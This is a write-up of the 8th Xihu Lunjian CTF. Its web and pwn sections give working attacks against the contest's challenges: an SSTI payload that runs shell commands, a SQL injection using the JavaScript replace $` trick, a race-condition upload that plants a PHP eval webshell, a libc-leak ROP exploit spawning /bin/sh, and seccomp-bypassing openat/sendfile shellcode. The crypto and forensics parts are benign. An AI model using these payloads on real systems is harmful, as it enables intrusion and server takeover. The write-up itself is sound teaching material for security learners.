签到
欢迎来到第八届西湖论剑大赛
Web
Rank-l
但测试后存在部分过滤,随便上网找现成的 payload 打一下,发现能用。
https://tttang.com/archive/1698/#toc_payload
先看源码,发现黑名单
Unicode 编码绕过即可
1 {{x.__init__.__globals__['__builtins__' ]['eval' ]("__import__('os').popen('head+\u002f\u0066\u006c\u0061\u0067\u0066\u0031\u0034\u0039').read()" )}}
sqli or not
给了源码,下面测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 var express = require ('express' );var app = express (); var router = express.Router (); router.get ('/' , (req, res, next ) => { if (req.query .info ) { if (req.url .match (/\,/ig )) { res.end ('hacker1!' ); } var info = JSON .parse (req.query .info ); console .log ('Received info:' , info); if (info.username && info.password ) { var username = info.username ; var password = info.password ; if (info.username .match (/\'|\"|\\/ ) || info.password .match (/\'|\"|\\/ )) { res.end ('hacker2!' ); } var sql = "select * from userinfo where username = '{username}' and password = '{password}'" ; sql = sql.replace ("{username}" , username); sql = sql.replace ("{password}" , password); console .log ('Received sql:' , sql); connection.query (sql, function (err, rs ) { if (err) { res.end ('error1' ); } else { if (rs.length > 0 ) { res.sendFile ('/flag' ); } else { res.end ('username or password error' ); } } }); } else { res.end ("please input the data" ); } } else { res.end ("please input the data" ); } }); app.use ('/' , router); const port = 3000 ;app.listen (port, () => { console .log (`Server is running at http://localhost:${port} ` ); });
参考一下 ctfshow 的ctfshow344 来绕过逗号
接下来就是绕过'"
和 \\
搜索到
https://blog.finalize.ink/2020/12/08/%e7%bd%91%e9%bc%8e%e6%9d%af2020-babyjs%e5%a4%8d%e7%8e%b0/#0x02-%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-url.parse
网鼎 2020 半决的一道 js 题,使用二次编码和@前会被url解码绕过的单引号,但是他的是url.parse 函数,可惜了。
之后翻看match 和 replace 函数的官方文档,发现了 replace 的一个特性:
$ 插入匹配子字符串之前的字符串片段,如果我们 username 中输入$
的话,那么他之前的片段就是select * from userinfo where username = '这一段,这样就可以帮助我们闭合前面的单引号了,至于后面那些只需要#全部给注释掉即可。
最终 payload:
1 http://139.155.126.78:18056/?info={"username":"$` or 1=1%23"&info="password":"123"}
Rank-U
登录框,密码爆破之后发现密码为 admin/year2000,登陆后是文件上传,发现什么都能上传,但除图片之外其余的都会被删掉,考虑条件竞争,拷打 GPT 编写脚本得到如下内容:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import aiohttpimport asyncioimport reBASE_URL = "http://139.155.126.78:22542/admin/Uploads/1f14bba00da3b75118bc8dbf8625f7d0" HEADERS = { "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" } MAX_CONCURRENT_REQUESTS = 600 async def find_php_route (session, base_url ): """异步获取 PHP 文件列表""" try : async with session.get(base_url, headers=HEADERS, timeout=10 ) as response: if response.status == 200 : html = await response.text() matches = re.findall(r'href="([^"]+\.php)"' , html) return matches if matches else [] return [] except Exception as e: print (f"Error finding PHP routes: {e} " ) return [] async def check_php_file (session, file_url ): """异步检查 PHP 文件是否可访问""" try : if not file_url.startswith('http' ): file_url = f"{BASE_URL} /{file_url} " async with session.get(file_url, headers=HEADERS, timeout=10 ) as response: if response.status == 200 : print (f"Success! {file_url} " ) return True else : print (f"Failed to access: {file_url} (status code: {response.status} )" ) return False except Exception as e: print (f"Error accessing {file_url} : {e} " ) return False async def main (): """主任务:发现并访问 PHP 文件""" connector = aiohttp.TCPConnector(limit=MAX_CONCURRENT_REQUESTS) async with aiohttp.ClientSession(connector=connector) as session: while True : php_files = await find_php_route(session, BASE_URL) if php_files: print ("Found PHP routes:" ) for php_file in php_files: php_url = f"{BASE_URL} /{php_file} " if not php_file.startswith("http" ) else php_file print (f" - {php_url} " ) tasks = [check_php_file(session, php_file) for php_file in php_files] results = await asyncio.gather(*tasks) if any (results): print ("Successfully accessed a PHP file. Exiting." ) break if __name__ == "__main__" : asyncio.run(main())
bp 在进行发包,线程调整到 200,传入内容如下:
1 2 3 4 5 6 7 8 9 10 <?php $folder = "Uploads/127.0.0.1/" ; if (!is_dir($folder)) { mkdir($folder, 0755, true); } $filename = $folder . "111.php" ; $content = "<?php phpinfo();@eval(\$_POST['cmd']); ?>" ; file_put_contents($filename, $content); echo "File $filename has been created with webshell content in folder $folder." ; ?>
写入的同时访问,最终成功,用蚁剑连接可得 flag
Reverse
rev不出来,这逆向题太有意思了,遗憾退场
Pwn
Vpwn
c++题目
审读代码,有四个功能,push,pop,edit和show
调试发现,push8次,之后show的话会外带出来libc地址,这里接受转换一下,并计算偏移得到libc地址
之后edit就是本题的关键,这里存在数组溢出,并对我们输入数据进行一个加密,我们需要写加密一下paylaod,之后利用
溢出走system的rop链子,劫持程序流程,getshell
成功劫持程序流程,执行我们的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import *def bug (): gdb.attach(p) pause() def s (a ): p.send(a) def sa (a,b ): p.sendafter(a,b) def sl (a ): p.sendline(a) def sla (a,b ): p.sendlineafter(a,b) def r (a ): p.recv(a) def rl (a ): return p.recvuntil(a) def inter (): p.interactive() def get_addr64 (): return u64(p.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) def get_addr32 (): return u32(p.recvuntil("\xf7" )[-4 :]) def get_sys (): return libc_base+libc.sym['system' ],libc_base+libc.search(b"/bin/sh\x00" ).__next__() def get_hook (): return libc_base+libc.sym['__malloc_hook' ],libc_base+libc.sym['__free_hook' ] context(os='linux' ,arch='amd64' ,log_level='debug' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf=ELF('./pwn1' ) p = process('./pwn1' ) def cmd (i ): rl("Enter your choice: " ) sl(str (i)) for i in range (8 ): cmd(2 ) rl("Enter the value to push: " ) sl(b'666' ) cmd(4 ) rl("StackVector contents: " ) data = rl(b'\n' ).split(b' ' ) libc_addr = int (data[19 ]) * (1 << 32 ) + (int (data[18 ]) & 0xffffffff ) libc_base=libc_addr-0x29d90 print (hex (libc_base))system,bin_sh=get_sys() rdi = libc_base+libc.search(asm("pop rdi\nret" )).__next__() def update_entry (index, value=b'1' ): cmd(1 ) p.recvuntil(b'edit' ) p.sendline(bytes (str (index), 'utf-8' )) p.recvuntil(b'value' ) p.sendline(bytes (str (value), 'utf-8' )) def split_data (data, part ): if part == 0 : result = data & 0xffffffff else : result = (data >> 32 ) & 0xffffffff if result > 0x7FFFFFFF : result -= 2 **32 return result update_entry(18 ,split_data(rdi+1 ,0 )) update_entry(19 ,split_data(rdi+1 ,1 )) update_entry(20 ,split_data(rdi,0 )) update_entry(21 ,split_data(rdi,1 )) update_entry(22 ,split_data(bin_sh,0 )) update_entry(23 ,split_data(bin_sh,1 )) update_entry(24 ,split_data(system,0 )) update_entry(25 ,split_data(system,1 )) cmd(5 ) inter()
Heaven’s door
查一手保护,开了NX没有PIE
看下源码,明显有沙箱
直接先运行跑一下看看怎么事儿,有一堆字符串之后有输入
结合源码,发现让我们读入shellcode,但明显开了沙盒,查一下禁用了什么函数
看沙盒的话是只允许使用这几个函数,并且syscall只能用三次,抱着试试的心态,用了openat+sendfile试了试,直接出了,怀疑是题目出的有点问题
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from ae64 import AE64def bug (): gdb.attach(io) pause() context(os='linux' ,arch='amd64' ,log_level='debug' ) io=remote('139.155.126.78' ,30794 ) payload=asm(''' mov rax, 0x67616c662f2e push rax xor rdi, rdi sub rdi, 100 mov rsi, rsp xor edx, edx xor r10, r10 push SYS_openat pop rax syscall mov rdi, 1 mov rsi, 3 push 0 mov rdx, rsp mov r10, 0x100 push SYS_sendfile pop rax syscall ''' )io.sendlineafter("MADE IN HEAVEN !!!!!!!!!!!!!!!!" ,payload) io.interactive()
Crypto
matrixRSA
题目实现了矩阵上的RSA,给出了p的高位以及加密后的矩阵,第一部分直接对p高位打copper,还原p
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from gmpy2 import *from Crypto.Util.number import *n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009 p = 9707529668721508094878754383636813058761407528950189013789315732447048631740849315894253576415843631107370002912949379757275 p = p<<100 PR.<x> = PolynomialRing(Zmod(n)) f = p+x res = f.small_roots(X=2 ^100 , beta=0.4 ) p = int (res[0 ]) + p print (p)""" 12305755811288164655681709252717258015229295989302934566212712319314835335461946241491177972870130171728224502716603340551354171940107285908105124549960063 """
到现在的话我们就顺利的分解了n,接下来需要求解私钥,矩阵上的RSA的phi和正常的不太一样,它的形式为
那么接下来求解私钥然后对矩阵整体进行d次幂,然后遍历每行每列输出flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from Crypto.Util.number import *from sympy import *from sage.all import *p = 12305755811288164655681709252717258015229295989302934566212712319314835335461946241491177972870130171728224502716603340551354171940107285908105124549960063 n = 132298777672085547096511087266255066285502135020124093900452138262993155381766816424955849796168059204379325075568094431259877923353664926875986223020472585645919414821322880213299188157427622804140996898685564075484754918339670099806186873974594139182324884620018780943630196754736972805036038798946726414009 C = Matrix(Zmod(n), [ [130700952989014311434434028098810412089294728270156705618326733322297465714495704072159530618655340096705383710304658044991149662060657745933090473082775425812641300964472543605460360640675949447837208449794830578184968528547366608180085787382376536622136035364815331037493098283462540849880674541138443271941 , 71108771421281691064141020659106224750236412635914570166893031318860027728093402453305986361330527563506168063047627979831630830003190075818824767924892107148560048725155587353683119195901991465464478196049173060097561821877061015587704803006499153902855903286456023726638247758665778434728734461065079337757 , 67999998657112350704927993584783146575182096185020115836188544590466205688442741039622382576899587857972463337900200038021257164640987281308471100297698062626107380871262596623736773815445544153508352926374272336154553916204320257697068627063236060520725376727528604938949588845448940836430120015498687885615 ], [23893343854815011808020457237095285782125931083991537368666368653089096539223297567339111502968295914745423286070638369517207554770793304994639155083818859208362057394004419565231389473766857235749279110546079776040193183912062870294579472815588333047561915280189529367474392709554971446978468118280633281993 , 9711323829269829751519177755915164402658693668631868499383945203627197171508441332211907278473276713066275283973856513580205808517918096017699122954464305556795300874005627001464297760413897074044080665941802588680926430030715299713241442313300920463145903399054123967914968894345491958980945927764454159601 , 44904507975955275578858125671789564568591470104141872573541481508697254621798834910263012676346204850278744732796211742615531019931085695420000582627144871996018850098958417750918177991375489106531511894991744745328626887250694950153424439172667977623425955725695498585224383607063387876414273539268016177401 ], [67805732998935098446255672500407441801838056284635701147853683333480924477835278030145327818330916280792499177503535618310624546400536573924729837478349680007368781306805363621196573313903080315513952415535369016620873765493531188596985587834408434835281527678166509365418905214174034794683785063802543354572 , 13486048723056269216825615499052563411132892702727634833280269923882908676944418624902325737619945647093190397919828623788245644333036340084254490542292357044974139884304715033710988658109160936809398722070125690919829906642273377982021120160702344103998315875166038849942426382506293976662337161520494820727 , 95932690738697024519546289135992512776877884741458439242887603021792409575448192508456813215486904392440772808083658410285088451086298418303987628634150431725794904656250453314950126433260613949819432633322599879072805834951478466009343397728711205498602927752917834774516505262381463414617797291857077444676 ] ]) q = n // p phi = (p^2 -1 )*(p^2 -p)*(q^2 -1 )*(q^2 - q) e = 65537 flag = '' d = inverse(e, phi) M = C ** d for row in M: for value in row: flag += str (long_to_bytes(int (value))) print (flag)
Misc
糟糕的磁盘
用取证大师进行取证,发现RAID-0
加密的文件
key是key.png
用veracrypt挂载
得到flag
IoT
blink
binwalk提不了,直接一坨放ida看了,esp的bin文件
看了很久的逻辑没找到关键逻辑,直接shift 12搜搜字符串,看到可疑字符串如下,交了即是flag
rtosandmorseisveryeasyhahhaha
sharkp
分析流量发现接口大概确定是这下面两个
在后面又发现了可执行文件保存下来
丢尽沙箱(安恒沙箱真好用!!!)发现IP
最后提交成功 setConfigUpload_115.195.88.161
DS
easydatalog
分析error.log,有上马的痕迹
这里有上传图片的痕迹,提取出来
puzzlesolver一把梭,发现密码 dataPersonPass123987
下面有上传zip的痕迹
拼接的zip,提出来
解压zip获得 data.csv
但是乱码改成txt得到张三信息,即 30601319731003117X_79159498824
DSASignatureData
本题目要求对数据进行验签,分析数据包,在数据包中是个人基础信息
那就先提取数据,然后按照规定进行验证
先把多余的流量去掉,只保留传的json
然后用tshark,提取用户信息
1 tshark -r filter1.pcapng -T fields -e http.request.uri.query.parameter -e json.object -E separator=, > extracted_data.txt
然后整理得到这个csv
然后按照规则,验证签名,然后得到错误结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 import jsonimport csvimport osfrom Crypto.PublicKey import DSAfrom Crypto.Signature import DSSfrom Crypto.Hash import SHA256import base64public_keys = {} public_folder = 'public' for filename in os.listdir(public_folder): if filename.endswith('.pem' ): userid = filename[7 :11 ] with open (os.path.join(public_folder, filename), 'rb' ) as key_file: public_key = DSA.import_key(key_file.read()) public_keys[userid] = public_key sign_data_file = 'data-sign.csv' with open (sign_data_file, newline='' , encoding='utf-8' ) as csvfile: reader = csv.DictReader(csvfile) altered_data = [] for row in reader: userid = row['username' ] name_signature = base64.b64decode(row['name_signature' ]) idcard_signature = base64.b64decode(row['idcard_signature' ]) phone_signature = base64.b64decode(row['phone_signature' ]) original_data_file = 'extracted_data.csv' with open (original_data_file, newline='' , encoding='utf-8-sig' ) as original_csvfile: original_reader = csv.DictReader(original_csvfile) for original_row in original_reader: if original_row['user' ] == userid: data_str = original_row['data' ] data_dict = json.loads(data_str.replace('""' , '"' ).replace('\\"' , '"' )) break name = data_dict['name' ].encode('utf-8' ).decode('unicode_escape' ) public_key = public_keys.get(userid.zfill(4 )) if public_key is not None : signer = DSS.new(public_key, 'fips-186-3' ) name_hash = SHA256.new(name.encode()) try : signer.verify(name_hash, name_signature) print (f"用户 {userid} 的 name 验证通过" ) except ValueError: print (f"用户 {userid} 的 name 验证失败" ) altered_data.append({ 'userid' : userid, 'name' : name, 'idcard' : data_dict['idcard' ], 'phone' : data_dict['phone' ], 'error_field' : 'name' }) idcard_hash = SHA256.new(data_dict['idcard' ].encode()) try : signer.verify(idcard_hash, idcard_signature) print (f"用户 {userid} 的 idcard 验证通过" ) except ValueError: print (f"用户 {userid} 的 idcard 验证失败" ) altered_data.append({ 'userid' : userid, 'name' : name, 'idcard' : data_dict['idcard' ], 'phone' : data_dict['phone' ], 'error_field' : 'idcard' }) phone_hash = SHA256.new(data_dict['phone' ].encode()) try : signer.verify(phone_hash, phone_signature) print (f"用户 {userid} 的 phone 验证通过" ) except ValueError: print (f"用户 {userid} 的 phone 验证失败" ) altered_data.append({ 'userid' : userid, 'name' : name, 'idcard' : data_dict['idcard' ], 'phone' : data_dict['phone' ], 'error_field' : 'phone' }) else : print (f"未找到 {userid} 对应的公钥" ) altered_file = 'altered_data.csv' with open (altered_file, 'w' , newline='' , encoding='utf-8' ) as csvfile: fieldnames = ['userid' , 'name' , 'idcard' , 'phone' ] writer = csv.DictWriter(csvfile, fieldnames=fieldnames) writer.writeheader() for row in altered_data: writer.writerow({ 'userid' : row['userid' ], 'name' : row['name' ], 'idcard' : row['idcard' ], 'phone' : row['phone' ] })
得到结果
easyrawencode
附件是给raw,进行取证
发现了有对data.csv加密的过程
所用到的私钥
查看注册表,找到hackkey
的值
查看console的执行过程,发现有执行结果
分析脚本,用的AES对内容进行的加密,那就编写脚本对其进行解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from Crypto.Cipher import AES, PKCS1_OAEPfrom Crypto.PublicKey import RSAenckey = bytes .fromhex("20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501cce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8aff0242e21c0ee7ffee2da20ed9434334" ) nonce = bytes .fromhex("d919c229aab6535efa09a52c589c8f47" ) tag = bytes .fromhex("5b204675b1b173c32c04b0b8a100ee29" ) with open ('pri.pem' , 'r' ) as f: pri_key = RSA.import_key(f.read()) with open ('encrypted_data.bin' , 'rb' ) as f: enc_data = f.read() de_rsa = PKCS1_OAEP.new(pri_key) try : aes_key_decrypted = de_rsa.decrypt(enckey) except ValueError as e: print ("RSA解密AES密钥失败:" , e) raise try : de_aes = AES.new(aes_key_decrypted, AES.MODE_EAX, nonce=nonce) decrypted_data = de_aes.decrypt_and_verify(enc_data, tag) except ValueError as e: print ("AES解密失败或验证失败:" , e) raise with open ('decrypted_data.csv' , 'wb' ) as f: f.write(decrypted_data) print ("Successfully decrypted data" )
解开得到csv,发现最后一列是加密的
个人签名是用的RC4加密的
写脚本解密,找到flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import base64import pandas as pdfrom Crypto.Cipher import ARC4data = pd.read_csv('decrypted_data.csv' ) for index, row in data.iterrows(): encrypted = row['个性签名(加密版)' ] password = row['密码' ] enc_de_base64 = base64.b64decode(encrypted) rc4 = ARC4.new(password.encode()) de_rc4 = rc4.decrypt(enc_de_base64).decode('utf-8' ) if "DASCTF{" in de_rc4: print (f"得到结果:{de_rc4} " )